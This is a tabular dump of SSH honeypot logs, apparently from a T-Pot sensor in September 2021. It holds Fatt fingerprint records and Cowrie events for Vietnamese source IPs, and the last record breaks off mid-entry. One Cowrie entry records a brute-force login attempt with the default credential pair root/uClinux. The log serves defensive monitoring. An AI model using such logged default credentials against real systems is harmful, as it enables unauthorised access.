21072	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:38.177384+03	2021-09-20 14:15:03.187613+03	{"_id": "_QbiAnwBvYTbRNuE7wB0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35120, "timestamp": "2021-09-20T11:06:38.177384", "@timestamp": "2021-09-20T11:06:38.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21398	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:50.658656+03	2021-09-20 14:15:03.615612+03	{"_id": "6gbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "19325238ed3b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.658656Z", "@timestamp": "2021-09-20T11:06:50.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21073	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:38.29879+03	2021-09-20 14:15:03.189612+03	{"_id": "_gbiAnwBvYTbRNuE7wB0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53166, "timestamp": "2021-09-20T11:06:38.298790", "@timestamp": "2021-09-20T11:06:38.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21074	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:38.314328+03	2021-09-20 14:15:03.190614+03	{"_id": "_wbiAnwBvYTbRNuE7wB0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36598, "timestamp": "2021-09-20T11:06:38.314328", "@timestamp": "2021-09-20T11:06:38.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21075	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:38.31453+03	2021-09-20 14:15:03.191613+03	{"_id": "AAbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36598, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.314530", "@timestamp": "2021-09-20T11:06:38.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21076	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:38.528147+03	2021-09-20 14:15:03.193613+03	{"_id": "AQbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35960, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.528147", "@timestamp": "2021-09-20T11:06:38.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21082	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:39.061756+03	2021-09-20 14:15:03.200612+03	{"_id": "BwbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/uClinux] failed", "session": "7639ba68c7fe", "@version": "1", "password": "uClinux", "username": "root", "timestamp": "2021-09-20T11:06:39.061756Z", "@timestamp": "2021-09-20T11:06:39.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21077	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:38.52819+03	2021-09-20 14:15:03.194613+03	{"_id": "AgbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35960, "timestamp": "2021-09-20T11:06:38.528190", "@timestamp": "2021-09-20T11:06:38.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21078	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:38.576139+03	2021-09-20 14:15:03.195614+03	{"_id": "AwbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53166, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.576139", "@timestamp": "2021-09-20T11:06:38.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21079	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.314694+03	2021-09-20 14:15:03.196613+03	{"_id": "BAbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], 